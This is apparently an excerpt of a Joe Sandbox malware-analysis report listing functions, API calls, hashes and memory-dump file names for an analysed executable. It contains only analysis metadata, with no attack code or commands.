Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79bafe4ba6ea767c9f4b5b48e3850b086192dd1b92dbb7692b6b1482475cf4b2
Instruction ID: 1612b965f7d6036a327a9d4e14ca26534213c5c875878529b5e9c6fb89848007
Opcode Fuzzy Hash: 79bafe4ba6ea767c9f4b5b48e3850b086192dd1b92dbb7692b6b1482475cf4b2
Instruction Fuzzy Hash: 24D0A7F24086E06DF714A7215961BBFBFACDBC0720F354CDAE080C6042C15904488221

Function 00B71AD9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(00826E7C,00004020,00000000,-11935FEC), ref: 00B71BC6

Strings

@, xrefs: 00B71B05

Memory Dump Source

Source File: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: AttributesFile
String ID: @
API String ID: 3188754299-2726393805
Opcode ID: 90efec39bb9d8b8704c88988e896380a9088447312f64bd27f71fa0fa295b020
Instruction ID: 4afa7384580abfcc26354266ead43689eb418fa28ba0beae8b118fa6d8ff0ee6
Opcode Fuzzy Hash: 90efec39bb9d8b8704c88988e896380a9088447312f64bd27f71fa0fa295b020
Instruction Fuzzy Hash: 30316F71A04705EFDB25CF58C844B9ABFF0FF08340F108959E56A67650D3B5AA64DB90

Analysis Process: dbec6bb1cf.exePID: 6552, Parent PID: 1056COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	32.3%
Total number of Nodes:	229
Total number of Limit Nodes:	19

Executed Functions

Function 004AFCA0 Relevance: 5.4, Strings: 4, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

t, xrefs: 004AFCBE
J|BJ, xrefs: 004B000D
VY^_, xrefs: 004AFDFF
V, xrefs: 004AFEDC

Memory Dump Source

Source File: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000009.00000002.2533201267.00000000004A0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533268875.0000000000500000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533292539.000000000050A000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533318530.000000000050B000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533372235.000000000050C000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533620204.0000000000661000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533645066.0000000000663000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533671300.0000000000671000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533692758.0000000000674000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533713122.0000000000675000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533713122.000000000067E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533757599.0000000000688000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533779369.0000000000689000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533799904.0000000000698000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533817089.0000000000699000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533843129.00000000006AF000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533868928.00000000006C3000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533896682.00000000006DE000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533918509.00000000006E0000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533943673.00000000006E7000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533966250.00000000006EC000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533985616.00000000006EF000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534007874.00000000006F3000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534031975.0000000000700000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534051509.0000000000701000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534072562.0000000000708000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534095422.000000000070A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534115431.000000000070B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534138629.000000000070D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534161016.000000000070E000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534186952.0000000000711000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534216334.0000000000712000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534262239.0000000000713000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534284527.000000000071A000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534318961.000000000071B000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534318961.0000000000755000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534419127.0000000000780000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534443602.0000000000783000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534464639.0000000000784000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534464639.0000000000789000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534537740.0000000000798000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534791781.0000000000799000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4a0000_dbec6bb1cf.jbxd

Similarity

API ID:
String ID: J|BJ$V$VY^_$t
API String ID: 0-3701112211
Opcode ID: c0235401979d681c3c30a725c35b4de528bb57a4d7766403c6beb03c73b761da
Instruction ID: 7df9e0f39ce6538c698be2b5958335ce8f024746875d79cc10ad6a778636a92c
Opcode Fuzzy Hash: c0235401979d681c3c30a725c35b4de528bb57a4d7766403c6beb03c73b761da
Instruction Fuzzy Hash: 3BD1897450C3909BD314DF58959066FBBE1ABA6745F14881EF4C98B312C33ACD0ADBAA

Function 004AD110 Relevance: 1.7, APIs: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 004AD2F1

Memory Dump Source

Source File: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000009.00000002.2533201267.00000000004A0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533268875.0000000000500000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533292539.000000000050A000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533318530.000000000050B000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533372235.000000000050C000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533620204.0000000000661000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533645066.0000000000663000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533671300.0000000000671000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533692758.0000000000674000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533713122.0000000000675000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533713122.000000000067E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533757599.0000000000688000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533779369.0000000000689000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533799904.0000000000698000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533817089.0000000000699000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533843129.00000000006AF000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533868928.00000000006C3000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533896682.00000000006DE000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533918509.00000000006E0000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533943673.00000000006E7000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533966250.00000000006EC000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533985616.00000000006EF000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534007874.00000000006F3000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534031975.0000000000700000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534051509.0000000000701000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534072562.0000000000708000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534095422.000000000070A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534115431.000000000070B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534138629.000000000070D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534161016.000000000070E000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534186952.0000000000711000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534216334.0000000000712000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534262239.0000000000713000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534284527.000000000071A000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534318961.000000000071B000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534318961.0000000000755000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534419127.0000000000780000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534443602.0000000000783000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534464639.0000000000784000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534464639.0000000000789000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534537740.0000000000798000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534791781.0000000000799000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4a0000_dbec6bb1cf.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: ae1892a68babce642911b05893972c4b2d0219c9f2ce950ded51e00ac4b136cb
Instruction ID: 69fddd476b5d4c63c6453d16c7b49861a0cb2b761906e7ad9691520c51e913ad
Opcode Fuzzy Hash: ae1892a68babce642911b05893972c4b2d0219c9f2ce950ded51e00ac4b136cb
Instruction Fuzzy Hash: 4041457080D380ABD701AB65D684A2EFBF1AF63709F148C5EE4C597652C639D810CB6B

Function 004E99D0 Relevance: .1, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000009.00000002.2533201267.00000000004A0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533268875.0000000000500000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533292539.000000000050A000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533318530.000000000050B000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533372235.000000000050C000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533620204.0000000000661000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533645066.0000000000663000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533671300.0000000000671000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533692758.0000000000674000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533713122.0000000000675000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533713122.000000000067E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533757599.0000000000688000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533779369.0000000000689000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533799904.0000000000698000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533817089.0000000000699000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533843129.00000000006AF000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533868928.00000000006C3000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533896682.00000000006DE000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533918509.00000000006E0000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533943673.00000000006E7000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533966250.00000000006EC000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533985616.00000000006EF000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534007874.00000000006F3000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534031975.0000000000700000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534051509.0000000000701000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534072562.0000000000708000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534095422.000000000070A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534115431.000000000070B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534138629.000000000070D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534161016.000000000070E000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534186952.0000000000711000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534216334.0000000000712000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534262239.0000000000713000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534284527.000000000071A000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534318961.000000000071B000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534318961.0000000000755000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534419127.0000000000780000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534443602.0000000000783000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534464639.0000000000784000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534464639.0000000000789000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534537740.0000000000798000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534791781.0000000000799000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4a0000_dbec6bb1cf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bad8c7ca5cafe449aaef5283774f8f1065c5b04a21660e83ecfe411864afc31f
Instruction ID: bfbce69afc4ba063c998a513ab1b87628b5d91de00c54957ef4cabd37578eaa6
Opcode Fuzzy Hash: bad8c7ca5cafe449aaef5283774f8f1065c5b04a21660e83ecfe411864afc31f
Instruction Fuzzy Hash: B9419234608380AFD714EB16E890B2BB7E6EF85715F14882EF58597391D339EC11CB5A

Function 004E3220 Relevance: 1.6, APIs: 1, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 004E32A6

Memory Dump Source

Source File: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000009.00000002.2533201267.00000000004A0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533268875.0000000000500000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533292539.000000000050A000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533318530.000000000050B000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533372235.000000000050C000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533620204.0000000000661000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533645066.0000000000663000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533671300.0000000000671000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533692758.0000000000674000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533713122.0000000000675000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533713122.000000000067E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533757599.0000000000688000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533779369.0000000000689000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533799904.0000000000698000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533817089.0000000000699000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533843129.00000000006AF000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533868928.00000000006C3000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533896682.00000000006DE000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533918509.00000000006E0000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533943673.00000000006E7000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533966250.00000000006EC000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2533985616.00000000006EF000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534007874.00000000006F3000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534031975.0000000000700000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534051509.0000000000701000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534072562.0000000000708000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534095422.000000000070A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534115431.000000000070B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534138629.000000000070D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534161016.000000000070E000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534186952.0000000000711000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534216334.0000000000712000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534262239.0000000000713000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534284527.000000000071A000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534318961.000000000071B000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534318961.0000000000755000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534419127.0000000000780000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534443602.0000000000783000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534464639.0000000000784000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534464639.0000000000789000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534537740.0000000000798000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2534791781.0000000000799000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4a0000_dbec6bb1cf.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 8a1d6645b5556c2bca56354b587beb3711795cde912d1d03d6c1f6a74d92728f
Instruction ID: 84cee7d58f4815ec9ab1fbb008e92fa294110bf11dbb392c4c14c0c2d9bef36f
